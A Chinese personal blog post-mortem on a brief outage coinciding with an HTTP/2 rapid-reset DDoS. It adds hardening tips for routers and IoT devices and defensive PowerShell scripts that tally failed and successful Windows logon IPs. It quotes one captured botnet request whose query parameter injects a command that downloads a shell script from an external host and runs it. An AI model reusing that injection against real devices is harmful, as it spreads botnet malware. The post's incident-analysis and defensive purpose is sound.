从2024年3月18日上午10:50至下午1:15,博客短暂离线,此次离线只影响了博客主站和验证码,其他服务均正常运行。

在此之前,我试用了雷池防火墙,最初,防火墙和博客部署在同一服务器上,经过半个月试用,雷池的优异表现使我决定将其作为老旧的nginx WAF的替代品。为了防止雷池和网站程序争抢性能资源,我趁着阿里云99活动购买了一台同地域的ECS作为防火墙宿主机,使用了Ubuntu server24,2024年3月18日上午10:30分,我开始安装Ubuntu 新的安全更新推送,完成安装后,我并没有于Shell中直接使用reboot命令执行重启,而是在阿里云ECS控制台点击了重启按钮,顺手去把别的云产品进行重新配置。而阿里云在收到重启命令后,停止了服务器,但是却没有启动服务器,状态为:停止中 ,此之前我也遇到过该BUG,向工单反馈后手动启动服务器,工单表示会上报并修复,以后不会再有问题了。显然,他们没有完全修复控制台BUG,点击重启后我没有关注服务器状态,而是打算开两把CS2玩,一直玩到下午1:00,才发觉网站已经停机。由于位于多个服务器和服务商的站点监控,均监控服务器源站而非CDN,这导致我一直没有收到监控宕机通知。

发现宕机后,我立即怀疑是DDoS攻击导致的高负载,从而登录了Cloudflare控制台和Tencent EO控制台,EO控制台一切正常,而在Cloudflare控制台,我发现确实巧合的有人发起了HTTP DDoS,这打破了我两年半(没玩梗)的安全记录,上一次攻击还是于2021年,被黑广告联盟勒索。此攻击的持续了5分钟,从10:50到10:55,总请求次数达到了406 百万次(406M 4.06 × 108,总流量达到了3TB,虽不及黑广告联盟攻击事件造成的63.2亿次(6.32B 6.23 × 109)请求,但鉴于攻击持续时间短(300秒),RPS达到了惊人的135万(1,350,000 1.35 × 106)次。本次攻击共计1500个僵尸网络节点参与,经过溯源,大部分节点来自印度尼西亚和美国,似乎是来自Mirai的变种“Botnet” 僵尸网络,攻击中使用了CVE-2023-44487-HTTP/2快速重置漏洞才达到了如此惊人的攻击规模,相当于每个节点每秒钟发出27万次请求,占用5.3Mbps带宽。大部分请求均被Cloudflare拦截(感谢Cloduflare),不过由于我的防火墙策略问题,依然有不少中国节点通过了防火墙,不过,我的香港边缘节点上的速率限制规则和NGX LUA CC脚本依然成功拦截泄露的9.3千次请求,故此次停机与本次攻击无关,只是一个巧合。

对中国节点进行分析,发现他们大多来自各个运营商的企业机房、家庭宽带、企业专线,类型为一些老旧包含漏洞或弱口令的网络设备,如某品牌的路由器,防火墙,系统版本很低,看起来很久没有进行安全更新。以下是我捕获到的一次僵尸网络尝试入侵这种设备的请求,来源为Fortigate-30E的数据包记录。

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd /tmp; wget http://94.156.*.*/tenda.sh; chmod 777 tenda.sh; ./tenda.sh) HTTP/1.1
Host: 221.197.*.*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
Connection: keep-alive
keep-alive: timeout=5

对此,我建议以下几点:

  • 定期检查设备安全:定期进行设备安全检查,包括检查未授权的设备连接、异常的网络流量等。
  • 保持定期更新固件:厂商会定期发布固件更新,以修复已知的安全漏洞和提高设备性能。确保设备始终运行最新的固件版本。订阅厂商的邮件通知以便快速知悉相关更新推送。
  • 更改默认登录凭据:许多设备出厂时都设置了默认的用户名和密码,这些信息很容易被攻击者获取。应该立即更改这些默认登录凭据。如果设备不开放修改管理密码,则不应该将其暴露在互联网,将其转为桥接模式并使用专用路由器替代是更好的选择。
  • 及时更换过时的设备:如果设备过于陈旧,无法获取安全更新,或者已知存在无法修复的硬编码安全漏洞,应考虑更换新设备。已知部分老旧光猫(参考Mozi 僵尸网络)、DVR、路由器、WEBCAM 存在漏洞,应立即向运营商要求更换新的光猫及相关设备。
  • 使用可信赖的设备:购买网络设备时,应选择信誉良好的厂商和经过安全认证的产品,对于信誉不良或专业性不足的厂商,不应该将其用在关键领域,如暴露在互联网上。
  • 关闭不必要的远程访问:除非有必要,否则应关闭WAN侧的远程管理功能,以防止外部攻击者尝试登录设备。

根据日志显示,攻击者访问了www.iloli.xin,这是本博客的其中一个域名,接下来,他访问了《雷池waf设置默认站点防止证书暴露|Nginx自定义拦截记录日志》 这篇文章,在这个页面停留了2分钟左右(来自RUM监控),随后访问了登录页,接下来便在Telegram上发起了攻击请求,其中一个Telegram Bot访问了登录页(是的,在此之前我没有禁止AS62041和Telegram BOT访问,因为有些小伙伴需要我的文章作为合法机器人的测试)。

为保护隐私,攻击者的IP已经以0.0.0.0代替,该IP属地来自于香港Akari Networks 移动基站,而另一数据库的查询结果为广东省广州市某某豪华公寓楼。攻击动机可能与一次大规模登录页扫描行为有关。早在今年年初,我就发现有来自河北省秦皇岛市联通机房、湖北十堰移动机房、贵州电信机房的IPV4/V6段进行登录页与常见漏洞爆破,具体请求url特征为 “/域名+随机字符串@login“或常见的xmlrpc.php接口 破壳漏洞等。我向几个安全社区与QQ群报告了IP段的攻击行为(同时加入了IP黑名单),并向阿里云、腾讯云举报了参与类似扫描攻击的IP。这可能导致了其扫描受阻而发起报复,当然,这只是无端猜测,对于一个日IP不过100出头的小网站不至于动用如此规模的僵尸网络,也有可能是有人为了测试僵尸网络/Telegram机器人甚至只是觉得这么做好玩,有趣,能带来快感而顺手发布攻击。

无论如何,发起网络攻击都是不道德且违法的。

1.这是一起典型的单点故障,最好的解决方案是再买一台服务器做HA,但是很显然,博主没有那么多财力,与网站程序服务器一起部署被证明不可行,因为雷池会占用大量资源。所以,在以后升级维护时,应保证系统运行正常后再去干别的事情,与博客相比打CS2不是那么重要(但是,确实好玩上瘾),专心工作才能不出错。

2.应封禁AS62041和Telegram BOT的UA,开发Telegram BOT的朋友有限,在他们需要调试程序时我可以手动开放白名单,而平常却可规避大量风险,毕竟Telegram上恶意BOT占大多数。

在几天前,我使用BitTorren BT协议下载Ubuntu与Debian的ISO镜像以测试带宽,这可能暴露了我的IP地址,其后,几个俄罗斯IP开始扫描,并找到了我的RDP端口(为了防止3个虚拟专网失效而留的备用),开始利用全球各地,主要是中国大陆的僵尸网络开启暴力破解,RPS峰值为1100次,一共持续两天我才从Fortinet的警报邮件中发觉此事,由于Fortinet的默认规则为重置连接并且阈值很高,我之前手动调整了SSH和几个其他服务的暴力破解阈值,并将动作改为隔离-30分钟,但是忽略了RDP。所幸,我的16位混合密码并没有被攻破,我立即调整了防火墙的阈值与动作,将几个僵尸网络IP举报加入黑名单。为了统计参与的IP节点,我写了如下三个脚本,分享出来供大家参考。

$EventID = 4625 # 登录失败的事件ID
$LogName = 'Security' # 安全日志

# 获取事件日志中的登录失败事件
$FailedLogonEvents = Get-WinEvent -FilterHashtable @{LogName=$LogName; ID=$EventID} 

# 创建一个空的哈希表来存储 IP 地址和它们的出现次数
$IPCount = @{}

foreach ($Event in $FailedLogonEvents) {
    # 解析事件的 XML 数据
    $EventXML = [xml]$Event.ToXml()

    # 获取失败的 IP 地址
    $FailedIP = $EventXML.Event.EventData.Data | Where-Object {$_.Name -eq 'IpAddress'} | Select-Object -ExpandProperty '#text'

    # 如果哈希表中已经有这个 IP,那么增加它的计数
    # 否则,添加这个 IP 到哈希表中,并设置计数为 1
    if ($IPCount.ContainsKey($FailedIP)) {
        $IPCount[$FailedIP]++
    } else {
        $IPCount[$FailedIP] = 1
    }
}

# 输出每个 IP 地址和它的计数
$IPCount
$EventID = 4625 # 登录失败的事件ID
$LogName = 'Security' # 安全日志

# 获取事件日志中的登录失败事件
$FailedLogonEvents = Get-WinEvent -FilterHashtable @{LogName=$LogName; ID=$EventID} 

# 创建一个空的哈希表来存储用户名和 IP 地址的组合及其出现次数
$UserIPCount = @{}

foreach ($Event in $FailedLogonEvents) {
    # 解析事件的 XML 数据
    $EventXML = [xml]$Event.ToXml()

    # 获取失败的 IP 地址
    $FailedIP = $EventXML.Event.EventData.Data | Where-Object {$_.Name -eq 'IpAddress'} | Select-Object -ExpandProperty '#text'

    # 获取失败的用户名
    $FailedUser = $EventXML.Event.EventData.Data | Where-Object {$_.Name -eq 'TargetUserName'} | Select-Object -ExpandProperty '#text'

    # 创建一个键,该键是用户名和 IP 地址的组合
    $Key = "$FailedUser - $FailedIP"

    # 如果哈希表中已经有这个键,那么增加它的计数
    # 否则,添加这个键到哈希表中,并设置计数为 1
    if ($UserIPCount.ContainsKey($Key)) {
        $UserIPCount[$Key]++
    } else {
        $UserIPCount[$Key] = 1
    }
}

# 输出每个用户名和 IP 地址的组合及其计数
$UserIPCount
$EventID = 4624 # 登录成功的事件ID
$LogName = 'Security' # 安全日志

# 获取事件日志中的登录成功事件
$SuccessLogonEvents = Get-WinEvent -FilterHashtable @{LogName=$LogName; ID=$EventID} 

# 创建一个空的哈希表来存储 IP 地址和它们的出现次数
$IPCount = @{}

foreach ($Event in $SuccessLogonEvents) {
    # 解析事件的 XML 数据
    $EventXML = [xml]$Event.ToXml()

    # 获取成功的 IP 地址
    $SuccessIP = $EventXML.Event.EventData.Data | Where-Object {$_.Name -eq 'IpAddress'} | Select-Object -ExpandProperty '#text'

    # 如果哈希表中已经有这个 IP,那么增加它的计数
    # 否则,添加这个 IP 到哈希表中,并设置计数为 1
    if ($IPCount.ContainsKey($SuccessIP)) {
        $IPCount[$SuccessIP]++
    } else {
        $IPCount[$SuccessIP] = 1
    }
}

# 输出每个 IP 地址和它的计数
$IPCount

以上代码保存为.ps1文件即可直接在PowerShell中运行。例:C:\Users\guest233\Desktop\login.ps1

版权声明:转载时请以超链接形式标明文章原始出处和作者信息,来源孤影墨香
本文链接: https://www.iloli.xin/4063.html
访问时间:2024-06-22 03:25:03


正因为知道可以在空中翱翔,才会畏惧展翅的那一刻而忘却疾风 努力学习ing